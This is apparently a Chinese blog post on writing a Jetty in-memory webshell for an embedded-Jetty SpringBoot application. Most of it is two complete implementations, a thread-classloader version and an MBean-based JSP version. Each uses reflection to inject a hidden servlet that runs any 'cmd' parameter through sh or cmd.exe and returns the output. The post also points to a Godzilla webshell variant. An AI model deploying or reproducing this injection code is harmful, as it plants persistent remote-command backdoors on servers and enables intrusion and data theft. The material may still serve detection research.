测试环境为springboot + embeded jetty jetty-9.4.48.v20220622,jdk为13。
jetty内存马的研究类同于tomcat,获取webappcontext通常有两种方式:
一、通过request获取
传统方式是在有request对象时,通过它获取webappcontext对象

可以看到得到的对象为webappcontext类中嵌入类context(该类不能在系统初始化完成之后再添加listener、filter和servlet。
还有一种方法是通过Thread类获取thread对象,看能不能找到WebAppClassLoader,从而获取webappcontext对象。

classloader不为空的都是appclassloader,并没有webappclassloader。但是在非嵌入式jetty中确含有webappclassloaer(有兴趣的小伙伴可以分析一下具体原因)。

在获取了webappclassloader的基础上很容易就能够写出内存马。
String servletName = "shell";
String urlPattern = "/shell";
Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
threadMethod.setAccessible(true);
Thread[] threads = (Thread[]) threadMethod.invoke(null);
ClassLoader threadClassLoader = null;
for (Thread thread : threads) {
threadClassLoader = thread.getContextClassLoader();
if (threadClassLoader != null) {
if (threadClassLoader.toString().contains("WebAppClassLoader")) {
Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
fieldContext.setAccessible(true);
Object webAppContext = fieldContext.get(threadClassLoader);
Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
fieldServletHandler.setAccessible(true);
Object servletHandler = fieldServletHandler.get(webAppContext);
//check servlet if exist
Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets");
fieldServlets.setAccessible(true);
Object[] servlets = (Object[]) fieldServlets.get(servletHandler);
boolean flag = false;
for (Object servlet : servlets) {
Field fieldName = servlet.getClass().getSuperclass().getDeclaredField("_name");
fieldName.setAccessible(true);
String name = (String) fieldName.get(servlet);
if (name.equals(servletName)) {
flag = true;
break;
}
}
if (flag) {
return "[-] inject fail, servlet " + servletName + " exists.";
}
ClassLoader classLoader = servletHandler.getClass().getClassLoader();
Class sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
Field fieldJavax = sourceClazz.getDeclaredField("JAVAX_API");
Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);
Object holder = method.invoke(servletHandler, fieldJavax.get(null));
holder.getClass().getMethod("setName", String.class).invoke(holder, servletName);
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet);
servletHandler.getClass().getMethod("addServlet", holder.getClass()).invoke(servletHandler, holder);
Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");
Object servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(fieldJavax.get(null));
servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName);
servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}});
servletHandler.getClass().getMethod("addServletMapping", clazz).invoke(servletHandler, servletMapping);
return "[+] inject success, pleas check.";
}
}
}
return "[-] inject fail, WebAppClassLoader is not in threads.";
二、通过mbean获取
通过mbean获取webappcontext对象时,遇到了一些问题,比如按照参考文档[1]进行测试时,mbean需要去除modifer相关设置,否则会抛出错误。

修改后详细代码:
<%@ page import="com.sun.jmx.mbeanserver.*"%>
<%@ page import="javax.servlet.*"%>
<%@ page import="java.lang.reflect.*"%>
<%@ page import="java.util.Set,java.util.Scanner,java.io.*"%>
<%@ page import="javax.management.ObjectName"%>
<%@ page import="java.lang.management.ManagementFactory"%>
<%
try{
String servletName = "myServlet1";
String urlPattern = "/testservlet";
JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer();
Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mBeanServer);
field = obj.getClass().getDeclaredField("repository");
field.setAccessible(true);
Repository repository = (Repository)field.get(obj);
Set<NamedObject> namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null);
for(NamedObject namedObject : namedObjectSet){
try{
field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed");
field.setAccessible(true);
Object webAppContext = field.get(namedObject.getObject());
field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
field.setAccessible(true);
Object handler = field.get(webAppContext);
field = handler.getClass().getDeclaredField("_servlets");
field.setAccessible(true);
Object[] objects = (Object[]) field.get(handler);
boolean flag = false;
for(Object o : objects){
field = o.getClass().getSuperclass().getDeclaredField("_name");
field.setAccessible(true);
String name = (String)field.get(o);
if(name.equals(servletName)){
flag = true;
out.println("[-] exist servlet");
return;
}
}
if(!flag){
out.println("[+] Add Dynamic Servlet");
ClassLoader classLoader = handler.getClass().getClassLoader();
Class sourceClazz = null;
Object holder = null;
try{
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");
field = sourceClazz.getDeclaredField("JAVAX_API");
Method method = handler.getClass().getMethod("newServletHolder", sourceClazz);
holder = method.invoke(handler, field.get(null));
}catch(ClassNotFoundException e){
sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");
Method method = handler.getClass().getMethod("newServletHolder", sourceClazz);
holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API"));
}
holder.getClass().getMethod("setName", String.class).invoke(holder, servletName);
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet);
handler.getClass().getMethod("addServlet", holder.getClass()).invoke(handler, holder);
Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");
Object servletMapping = null;
try{
servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null));
}catch(NoSuchMethodException e){
servletMapping = clazz.newInstance();
}
servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName);
servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}});
handler.getClass().getMethod("addServletMapping", clazz).invoke(handler, servletMapping);
return;
}
}catch(Exception e){
out.println(e.toString());
}
}
}catch(Exception e){
out.println(e.toString());
}
%>
如果还需要内嵌哥斯拉内存马,可以参照文档[2]进行修改servlet。
本文探讨了在SpringBoot + embedded Jetty 9.4.48.v20220622及JDK 13环境下,如何编写Jetty Servlet型内存马。主要介绍了两种方法:1) 通过request获取webappcontext,包括传统方式和通过Thread获取WebAppClassLoader;2) 通过MBean获取webappcontext时遇到的问题及其解决方法。同时提到了参考文献用于深入研究。
1582

被折叠的 条评论
为什么被折叠?



